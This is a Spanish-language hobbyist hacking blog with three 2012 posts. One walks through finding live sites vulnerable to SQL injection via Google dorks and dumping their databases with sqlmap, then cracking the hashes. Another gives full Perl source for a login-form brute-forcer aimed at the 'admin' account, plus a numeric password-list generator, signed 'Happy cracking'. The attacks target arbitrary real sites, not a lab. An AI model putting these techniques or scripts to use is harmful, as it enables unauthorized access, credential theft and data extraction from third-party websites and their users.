viernes, 5 de octubre de 2012


El blog ha estado abandonado, espero que esta vez las publicaciones sean semanales =) y claro siempre con temas interesantes. 


Inyección SQL (SQLi) 

 Según wikipedia:

Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos

Según Monkey Security =D

Trata sobre una vulnerabilidad producida por la falta o una incorrecta validación de las entradas que se realizan desde una aplicacion a una base de datos.

Esta vulnerabilidad se produce cuando un usuario consigue introducir código SQL dentro de otro código SQL, logrando de esta manera alterar el funcionamiento de las consultas, existen diferentes herramientas que automatizan el proceso de las consultas, para no aburrir al lector pasaremos a la practica con la herramienta "sqlmap" a un nivel básico.


Para este ejemplo iremos a google y utilizaremos Inurl, que se encargara de buscar las palabras en la dirección url.

inurl:"sitio"."com" php?id= o simplemente inurl:noticias.php?id=

Está búsqueda nos dará una lista de resultado con posibles páginas (links) vulnerables a SQLi, solo basta con agregarle una comilla ( ' ) al link para obtener el error.

cd /pentest/database/sqlmap





Una vez que situados en el directorio de sqlmap.




Bien después de haber escrito python sqlmap.py -u ( y haber ingresado en link vulnerable) --dbs, nos mostrara la base de datos.


Donde -D "es el nombre de la base de datos" y --tables "es para listar las tablas".





























El siguiente paso será ir a la tabla que nos interesa y listar las columnas.
















Ahora tenemos que "dumpear" los datos de la tabla.


















Finalmente tenemos que desencriptar los hashes, pero ese ya es otro tema, espero que la información sea de su agrado.

Saludos 

M4ku.


martes, 14 de agosto de 2012

Hola a todos, hoy les compartire mi FormForcer, es un bruteforcer para formularios,esta hecho en perl y lo programé especialmete para método post, pero si sabes algo de perl lo puedes editar,XD.

Requerimientos
--perl <<< o.o no me digas
--Mojolicious-3.30

Este ultimo es un modulo para perl, un web framework; lo instale manualmente, lo que tienes que hacer es bajártelo y extraerlo donde te paresca mejor.

tar zxf Mojolicious-3.30.tar.gz
cd Mojolicious-3.30.tar.gz
perl Makefile.pl
make
make install


 Si todo sale bien, lo tendras instalado correctamente.

Aca les dejo el codigo
------------------------------------------------------------------------------------------------------------- -
#!/usr/bin/perl -w
use strict;
use warnings

#FormForcer v-0.5 by Didac

use Mojo::UserAgent;
use Mojo::IOLoop;
use Time::HiRes qw(time);


open (my $FILE,'<',"diccionario.txt") || die "Error, no existe el fichero";
my @array;

while(my $line = <$FILE>){
    chomp $line;
    my @linearray = split(" ", $line);
    push(@array, @linearray);
}

close($FILE) or die "Warning! no se pudo cerrar el archivo";

my $URL='http://algun_sitio/login.asp';
my $start = time;
my $ua = Mojo::UserAgent->new;


my $dif="Usuario y/o Contrase&ntilde;a";

my $i=1;

$|++;
foreach my $array (@array) 
{ 
 $ua->post_form($URL => {"form_user" => 'admin', "form_pwd" => $array } => sub 
 { 
  my ($ua, $tx) = @_;
  
  if($tx->res->body =~/$dif/)
  {
   print "\r".($i+1)."/".scalar(@array);
  }
  else
  { 
   print " ||====>>".$array." es la contraseña!! se encontro en: ".(time - $start)." ms ";
  }

  Mojo::IOLoop->stop;
 });
 
 Mojo::IOLoop->start;
 $i++;
}
---------------------------------------------------------------------------------- 


Debes de editar algunas partes, con lo cosas que necesites; debo aclarar que ala hora de buscar el error debes tener en cuenta que no siempre lo que observes es lo que en el codigo fuente se muestra, un ejemplo:

Usuario y/o Contraseña          --> es lo que ves
Usuario y/o Contrase&ntilde;a --> es lo que en realidad es

Este script busca en el código fuente asi que tienes que poner la segunda opcion.

El tiempo que se demorara en encontrar no es el mas rapido comparado con otras tools que haya por ahi, pero es un gran comienzo.


Aparte les dejo un script para generar combinaciones, esto es perfecto cuando sabes que un sistema de login utilisa por contraseñas solo numeros
------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/perl -w
use strict;

open (a,">>listaagenerar.txt");

sub combinations {
   my $number = shift; # remove the first item from @_
   my @chars  = @_;    # the remainder of @_

   $number --; # decrement $number, so that you will eventually exit
               # from this recursive subroutine (once $number == 0)

   if ($number) { # true as long as $number != 0 and $number not undef

      my @result;

      foreach my $char (@chars) {
         my @intermediate_list = map { $char . $_ } combinations($number, @chars);
         push @result, @intermediate_list;
      }

      return @result; # the current concatenation result will be used for creation of
                      # @intermediate_list in the 'subroutine instance' that called 'combinations'
   }
   else {
      return @chars;
   }
}


print a join "\n", combinations(6, 0,1, 2,3,4,5,6,7,8,9);

------------------------------------------------------------------------------------------------------------------------------

print a join "\n", combinations(6, 0,1, 2,3,4,5,6,7,8,9);

El primer numero que es 6, sera la cantidad de digitos que tendran las combinaciones y lo que sigue son los caracteres a combinar, tambien puedes utilizar letras.

Eso es todo por mi parte, ire editanto el script cuando tenga tiempo de añadirle mas funcionalidad.
Si tienes alguna duda, aclaracion, sugerencia o recomendacion, por favor sientete libre de comentarlo.

Happy cracking.

By Didac.



 

miércoles, 1 de agosto de 2012

Hola a todos, especialmente a la gente amante de la informática en Perú.
Detrás de este blog están 2 estudiantes peruanos de informática, el motivo del blog es mostrar a las personas que se inician en el campo de la informática principalmente en temas de seguridad.

Esperamos que el blog sea del agrado de todos los lectores y a la vez complementen el blog con sus comentarios e ideas para lograr que la información sea "free" =).

En este momento estamos indecisos con que entrada empezar con tanta información que hemos recolectado desde nuestra incursión en este mundo, así que saludos y estén atentos a la próxima entrada.

                                                                  Monkey Laboratory 

Sus servidores D1dac && M4ku